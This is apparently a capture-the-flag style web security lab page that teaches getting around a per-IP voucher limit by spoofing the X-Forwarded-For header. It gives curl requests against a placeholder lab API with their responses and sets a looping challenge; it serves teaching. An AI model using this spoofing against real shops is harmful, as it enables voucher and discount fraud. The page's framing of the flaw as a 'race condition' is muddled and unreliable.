Race Conditions
A shop enforces a limit of one voucher per user. The check is there — but the "user" it identifies is not the account. It is the client's IP address. And the client can lie about its IP.
The rule: you have one voucher code: RACE10. The shop allows one redemption per IP. Your job is to redeem it more than once. The flag requires exactly 10 successful redemptions.
Test
Copy these. Run them. Read what comes back.
Step 1 · Redeem the voucher once
The endpoint takes a voucher code. There is no auth in this sandbox — the "user" is implicit. The server tracks redemptions by IP.
curl -s -X POST "{LAB_API_BASE}/api/10/redeem" \
-H "Content-Type: application/json" \
-d '{"voucher":"RACE10"}'What you'll see:
{
"ok": true,
"balance": 10,
"uses": 1,
"limit": 1
}One redemption, balance 10. The server remembers that your IP has already used the voucher. Try again — same IP, same header — and it refuses.
Step 2 · Try again from the same IP
Same request, second time. The check is honest: this IP has already redeemed the voucher.
curl -s -X POST "{LAB_API_BASE}/api/10/redeem" \
-H "Content-Type: application/json" \
-d '{"voucher":"RACE10"}'What you'll see:
{
"ok": false,
"error": "voucher limit reached",
"limit": 1,
"limit_scope": "per-IP (X-Forwarded-For)"
}Read the last field carefully: limit_scope. The server tells you exactly what it used to identify you — X-Forwarded-For. That header is set by the client, not by the server. Which means the "user" the server is limiting is whatever the client claims to be.
Step 3 · Claim to be someone else
Send the same request, but add an X-Forwarded-For header with a different value. The server thinks you're a new user. The voucher is applied again.
curl -s -X POST "{LAB_API_BASE}/api/10/redeem" \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 9.9.9.9" \
-d '{"voucher":"RACE10"}'What you'll see:
{
"ok": true,
"balance": 10,
"uses": 1,
"limit": 1
}Accepted again. Balance shows 10 because you are, as far as the server is concerned, a completely new user (9.9.9.9) redeeming their first voucher. The limit was never per-account. It was per-client-controlled-header. That is the race: two state writes from what should be one identity, each one racing against the other in a shared map that was never scoped correctly.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
You need 10 successful redemptions to trigger the flag. Each X-Forwarded-For value you send is a new "user" for the server — so ten different values give you ten redemptions.
Write a loop in your terminal. On each iteration, send the redemption request with a unique X-Forwarded-For. You can use seq piped into a small shell loop, or a short python3 script, or bash's for i in {1..10}. Any one request that reaches uses: 10 returns the flag in that same response.
The flag is in the response of the request that pushes the counter to 10.
Solved.
You beat a limit by controlling the identity it was measured against. Read why it happened and how to prevent it — in Lesson 10.
Read Lesson 10 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 10 — Race Conditions
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →